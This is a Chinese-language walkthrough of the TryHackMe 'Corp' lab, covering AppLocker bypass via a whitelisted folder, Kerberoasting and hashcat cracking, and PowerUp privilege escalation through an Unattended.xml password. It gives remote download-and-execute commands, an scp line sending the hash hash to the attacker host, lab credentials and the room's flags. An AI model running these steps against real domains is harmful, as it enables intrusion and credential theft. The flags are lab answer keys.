【THM】Corp-练习
本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/corp
本文相关内容:针对实验靶机练习Windows Applocker绕过技术并完成提权操作,本文将涉及kerberoasting技术、AV(Anti Virus)规避技术、applocker绕过技术以及权限提升技术。
简介
在本文对应的实验中,你将学到以下内容:
- Windows Forensics(Windows取证)
- kerberoasting 基础知识
- AV Evading(Anti-Virus杀毒软件规避)-利用白名单-本文未具体讲解
- Applocker(应用程序控制策略)-利用白名单
注意:目标机器不响应 ping (ICMP),在部署靶机时 可能需要几分钟才能成功启动。
成功部署好 windows 目标机器之后,我们可以使用以下凭证 在本地kali机上通过RDP访问靶机(在kali中使用remmina或者xfreerdp进行RDP登录)。
- Username:
corp\dark
- Password:
_QuejVudId6
目标机器ip地址:
绕过 Applocker
AppLocker(应用程序控制策略)是 Windows 7 所引入的应用程序白名单技术,它允许根据程序路径、程序发布者和程序哈希值来限制用户可以执行哪些程序。
目标机上存在AppLocker机制,在已部署的目标机器上:你无法执行自己的二进制文件,并且目标系统上的某些功能也受到了使用限制。
tip1:
有很多方法可以 绕过AppLocker,如果 AppLocker 配置了默认的 AppLocker 规则,我们可以通过将想要执行的exe文件放在以下目录中来绕过 AppLocker 限制:C:\Windows\System32\spool\drivers\color
- 默认情况下这会是目标系统上的白名单中的路径。
绕过 AppLocker 的操作示例:我们先在目标机中使用Powershell命令 下载一个本地kali机上的可执行(exe)文件到目标机中,然后将该exe文件放置在目标机上的白名单目录下并尝试执行--最终我们发现能够成功执行该exe文件。
tip2:
类似于Linux bash,Windows powershell 会将所有历史命令保存到一个名为 ConsoleHost_history
的文件中,该文件具体路径如下所示:
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
#在本实验中 %userprofile% 为 c:\users\dark\
答题
在kali中使用remmina或者xfreerdp针对目标机器进行RDP远程登录。
#在本地kali机中操作
#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\dark' /p:_QuejVudId6 /cert:ignore /v:10.10.186.214
#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.186.214
#Username: corp\dark
#Password: _QuejVudId6
尝试绕过目标机的AppLocker机制--将本地kali上的一个exe文件传输到目标机上并尝试执行(将exe文件放置在白名单目录下即可绕过目标机的Applocker机制)。
先在本地机上使用Python开启一个简易HTTP 服务器以托管一个whoami.exe文件:
cp /usr/share/windows-resources/binaries/whoami.exe .
python -m http.server 80
然后在目标机上使用Powershell界面进行操作(传输到白名单目录路径下的whoami.exe文件 能够绕过应用程序锁在特定文件夹下执行):
#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color
#传输文件的方法一
powershell -c "(new-object System.Net.WebClient).Downloadfile('http://10.13.16.58:80/whoami.exe', 'C:\Windows\System32\spool\drivers\color\whoami.exe')"
#传输文件的方法二
#Invoke-WebRequest -Uri http://10.13.16.58:80/whoami.exe -OutFile C:/Windows/System32/spool/drivers/color/whoami.exe
#执行exe文件
cd C:\Windows\System32\spool\drivers\color\
.\whoami.exe
继续使用Powershell界面,访问目标机上的ConsoleHost_history
文件并查看 flag 的相关信息。
#保存了所有历史命令的文件: c:\users\dark\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Get-Content -Path 'C:\Users\dark\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt'
#通过检查 PowerShell 历史记录找到flag内容
此处flag内容为:flag{a12a41b5f8111327690f836e9b302f0b} 。
Kerberoasting攻击
Kerberos 是 Windows 和 Active Directory 网络的身份认证系统;有许多针对 Kerberos认证 的攻击,在本实验中:我们将使用 Powershell 脚本为一个帐户请求服务票据并尝试获取票据的哈希值,然后我们可以破解这个哈希值并以此来访问相关的用户帐户(这个过程就是Kerberoasting攻击)。
Kerberoasting攻击原理如下:
- 攻击者对一个域进行身份验证,然后从域控制器获得一个 TGT 认证票据,该 TGT 认证票据用于以后的 ST(Service Ticket) 服务票据请求。
- 攻击者使用他们的 TGT 认证票据 发出 ST 服务票据请求 (TGS-REQ) 获取特定标识的 SPN,此 SPN 在域中应该是唯一的,并且在用户或计算机帐户的服务主体名称(servicePrincipalName)字段中注册;在服务票据请求 (TGS-REQ) 过程中,攻击者可以指定它们支持的 Kerberos 加密类型 (比如如RC4_HMAC加密类型、AES256_CTS_HMAC_SHA1_96加密等等)。
- 如果攻击者的 TGT 是有效的,则 DC 将从 TGT 认证票据中提取信息并填充到 ST 服务票据中,然后,域控制器会查找哪个帐户在ServicedPrincipalName(服务主体名称)字段中注册了所请求的 SPN,ST 服务票据使用注册了所要求的 SPN 的帐户的 NTLM 哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST 服务票据将以服务票据回复 (TGS-REP) 的形式发送回攻击者。
- 攻击者从 TGS-REP 中提取加密的服务票据。由于服务票据是用链接到所请求的SPN的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,最后恢复帐户的明文密码并尝试进行登录操作。
Service Principal Name (SPN):服务主体名称(SPN)是赋予服务实例以将服务实例与域服务帐户相关联的标识符。
答题
首先枚举 Windows信息,使用Powershell界面 运行命令 setspn -T medin -Q */*
以提取 SPN 所关联的帐户信息,SPN是指Service Principal Nam(服务主体名称)),SPN能够表示服务和账号的映射关系。
#setspn -T domain.com -Q */*
setspn -T corp.local -Q */*
setspn -T medin -Q */*
#CN=krbtgt,CN=Users,DC=corp,DC=local
#CN=fela,CN=Users,DC=corp,DC=Local
SPN所相关的用户名为:fela
接下来我们可以使用Invoke-Kerberoast来获取票据,我们需要先下载Invoke-Kerberoast所对应的Powershell 脚本到目标机上--输入以下命令即可:
tips:如果本地kali机已经下载了Invoke-Kerberoast.ps1脚本,我们可以使用find / -iname *kerberoast.ps1* 2>/dev/null
检索该脚本位置并传输该ps1文件到目标机上。
相关GitHub项目地址:https://github.com/EmpireProject/Empire
#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color
#先在本地机上下载所需的ps1脚本(下面的wget命令可能不需要,因为本地kali机中可能已经预装了Invoke-Kerberoast.ps1脚本):
wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1
#使用命令托管脚本文件到本地机的HTTP服务器上:
python -m http.server 80
#最后在目标机上使用以下命令获取ps1脚本文件:
Invoke-WebRequest -Uri http://10.13.16.58:80/Invoke-Kerberoast.ps1 -OutFile C:\Windows\System32\spool\drivers\color\Invoke-Kerberoast.ps1
#切换到ps1脚本所在目录并查看脚本文件是否存在:
cd C:\Windows\System32\spool\drivers\color\
dir
#方法二(在目标机器中进行操作)
#powershell -c "(new-object System.Net.WebClient).Downloadfile('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1', 'C:\Windows\System32\spool\drivers\color\Invoke-Kerberoast.ps1')"
加载Invoke-Kerberoast脚本到内存中 并查看脚本执行所得的结果:
#注意:使用. .\可加载脚本到内存中执行,此处两个.符号之间有一个空格。
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat hashcat | fl
#Invoke-Kerberoast可以提取票据传输时的原始字节,然后转换成John the Ripper或者 HashCat 能够直接爆破的字符串
#fl--format list 格式化输出,以行模式显示出属性及相应的值
#此处也可以将包含hash值的SPN ticket导入到一个txt文件中(Invoke-Kerberoast -OutputFormat hashcat > hash.txt),然后使用scp传输txt到本地kali上。
#首先要在kali上启动ssh(登录时默认不启动):$sudo systemctl start ssh
#然后在目标机的终端界面中使用scp命令 scp hash.txt hekeats@kali-tun0-ip:22
我们得到了一个SPN票据:其中包含了和用户fela相关的密码hash值
接下来我们在本地kali机中使用hashcat来破解上面图片中的hash值即可(需要先将上图中的hash值转储到本地kali机的hash1.txt文件中--txt文件名可自定义)。
tips:使用在线字符串去空格工具:http://www.cuduwang.com/pb2.asp
使用hashcat模式列表(按ctrl+f检索hash格式的开头部分以找到hashcat模式编号):https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat -m 13100 -a 0 hash1.txt /usr/share/wordlists/rockyou.txt --force
#-a 0 表示我们将使用字典模式进行暴力破解(-a 指定破解模式)
#--force 忽略警告信息
#以$krb5tgs$23$开头的hash格式对应的hashcat模式编号为13100 hash类型为Kerberos 5,etype 23,TGS-REP
破解hash值得到的密码为:rubenF124
结合之前得到的SPN ticket中的用户名fela
,使用上图中经过破解得到的明文密码进行RDP远程登录 并查看用户桌面上的flag内容:
#在本地kali机中操作
#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\fela' /p:rubenF124 /cert:ignore /v:10.10.186.214 /workarea
#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.186.214
#Username: corp\fela
#Password: 10.10.186.214
用户fela桌面上的flag内容为:flag{bde1642535aa396d2439d86fe54a36e4} 。
Privilege Escalation-权限提升
我们将使用 PowerShell 枚举脚本来检查 Windows 目标机器,然后我们就可以确定获得管理员访问权限的最佳方式 并进行提权操作。
答题
我们将使用 PowerUp.ps1 脚本针对实验靶机进行枚举。
在目标机上操作并加载PowerUp.ps1脚本到内存执行。
tips:如果本地kali机已经下载了PowerUp.ps1脚本,我们可以使用find / -iname *PowerUp.ps1* 2>/dev/null
检索该脚本位置并传输该ps1文件到目标机上。
相关GitHub项目地址:https://github.com/PowerShellEmpire/PowerTools
#目标机上的白名单目录路径: C:\Windows\System32\spool\drivers\color
#先在本地机上下载所需的ps1脚本(下面的wget命令可能不需要,因为本地kali机中可能已经预装了PowerUp.ps1脚本):
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
#再使用命令托管脚本文件到本地机的HTTP服务器上:
python -m http.server 80
#最后在目标机上使用以下命令获取ps1脚本文件:
Invoke-WebRequest -Uri http://10.13.16.58:80/PowerUp.ps1 -OutFile C:\Windows\System32\spool\drivers\color\PowerUp.ps1
#切换到ps1脚本所在目录:
cd C:\Windows\System32\spool\drivers\color
dir
. .\PowerUp.ps1
Invoke-Allchecks
#方法二
#远程下载并执行文件
#iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1')
#方法三
#powershell -c "(new-object System.Net.WebClient).Downloadfile('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1', 'C:\Windows\System32\spool\drivers\color\PowerUp.ps1')"
#切换到ps1脚本所在目录:
#. .\PowerUp.ps1
#Invoke-Allchecks
执行脚本之后,由结果可知该脚本已经确定了几种获得管理员访问权限的方法,第一个方法是绕过 UAC 提权,第二个方法是利用 UnattendedPath 提权。
tips:“无人值守安装(Unattended Setup)是原始设备制造商 (OEMs)、公司和其他用户在无人值守模式下安装 Windows NT 的方法。”
此处我们选择利用 UnattendPath 进行提权,根据上面图片中所显示的UnattendPath ,我们能够找到一个以 base64 格式存储用户密码的文件,我们查看该文件以获得一串用base64格式表示的密码密文。
type C:\Windows\Panther\Unattend\Unattended.xml
在本地kali机上对刚才得到的base64编码字符串进行解码:
echo "dHFqSnBFWDlRdjh5YktJM3lIY2M9TCE1ZSghd1c7JFQ=" | base64 -d
经过base64解码之后的明文密码为:tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T
使用解码之后的明文密码 通过RDP登录管理员用户即可完成提权过程,成功提升权限到管理员之后--继续查看最后的flag内容即可完成本实验。
#在本地kali机中操作
#使用xfreerdp进行远程登录:
xfreerdp /u:'corp\Administrator' /p:'tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T' /cert:ignore /v:10.10.186.214
#或者使用remmina
#输入以下命令:remmina
#在弹出的remmina GUI界面输入目标ip:10.10.186.214
#Username: corp\Administrator
#Password: tqjJpEX9Qv8ybKI3yHcc=L!5e(!wW;$T
Administrator用户桌面上的flag内容为:THM{g00d_j0b_SYS4DM1n_M4s73R} 。